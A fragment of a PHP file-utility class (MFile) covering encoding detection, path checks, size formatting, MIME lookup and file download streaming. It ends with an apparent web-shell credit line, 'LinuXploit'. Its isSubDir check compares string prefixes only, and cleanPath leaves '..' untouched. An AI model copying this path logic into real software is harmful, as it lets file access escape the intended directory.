				if($compareSample == md5(iconv("Windows-".$win,"Windows-".$win,$sample2))) return "Windows-".$win;
			}			
		}
		
		if(function_exists("mb_detect_encoding")) return mb_detect_encoding($sample);
		else return null;
		
	}

	public static function isSubDir($subdir=null,$dir=null){
		if(!$dir || !$subdir) return false;
		
		if(gettype($dir)=="array"){
			
			foreach($dir as $d){
				if ( substr($subdir,0,strlen($d))== $d ) return true;
			}
			return false;
			
		}else{
			return ( substr($subdir,0,strlen($dir))== $dir );
		}
	}
	
	public static function cleanPath($path = null){
		$path = trim($path);
		if (empty($path)){ 
			return $GLOBALS['currentMainFolder'];
		}else{
			$path = preg_replace('#[/\\\\]+#', DS, $path);
		}
	
		return $path;
	}//EOF cleanPath
	
	public static function toBytes($value = null){
		$value = trim($value);
		$ext = strtolower($value[strlen($value)-1]);
		switch($ext) {
			case 'g':
				$value *= 1024;
			case 'm':
				$value *= 1024;
			case 'k':
				$value *= 1024;
		}
		
		return $value;
	}
	
	public static function bytesToFormat($bytes = 0){
		$bytes = (int) $bytes;
		$value = $bytes;
		$bytes /= 1024;
		if($bytes < 1) return $value . " Bytes";
		$value = $bytes;
		$bytes /= 1024;
		if($bytes < 1) return round($value,2) . " KB";
		$value = $bytes;
		$bytes /= 1024;
		if($bytes < 1) return round($value,2) . " MB";
		$value = $bytes;
		$bytes /= 1024;
		if($bytes < 1) return round($value,2) . " GB";
		$value = $bytes;
		$bytes /= 1024;
		return round($value,2) . " TB";		
	}
	
	public static function getMime($fileName = null){
		if(! trim($fileName) || ! self::is($fileName)) return false;
		if(function_exists('finfo_open')){
			$finfo = finfo_open(FILEINFO_MIME);
			$mime = finfo_file($finfo, $fileName);
			finfo_close($finfo);
			return $mime;
		}else if(function_exists('mime_content_type')){
			return mime_content_type($fileName);
		}
		return false;
	}
	
	public static function send2Browser($fileName = null){
		set_time_limit(0);
		//Purge 
		ob_get_clean();
		ob_get_clean();
		
		if(self::is($fileName)){
			$size = self::getSize($fileName);
			$mime = self::getMime($fileName);
			header('Content-type: ' . ($mime ? $mime : ' application') );
			header('Content-length: ' . $size );
			header('Content-Disposition: attachment; filename="'.basename($fileName).'"');
			header("Pragma: public");
			header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
			
			$ouputBuffering =  !! ini_get('output_buffering');
			$memoryLimit =  self::toBytes( ((ini_get("memory_limit")!="")?ini_get("memory_limit"):get_cfg_var("memory_limit")) );
			
			if($ouputBuffering && ($memoryLimit <= ($size + 102400) ) ){
				$file = @fopen($fileName,"rb");
				while(!feof($file)){
					print(@fread($file, 1024*8));
					ob_flush();
					flush();
				}
			}else{
				readfile($fileName);
			}
		}
		exit;
	}
	
	
}//EOF Class MFile

Youez - 2016 - github.com/yon3zu
LinuXploit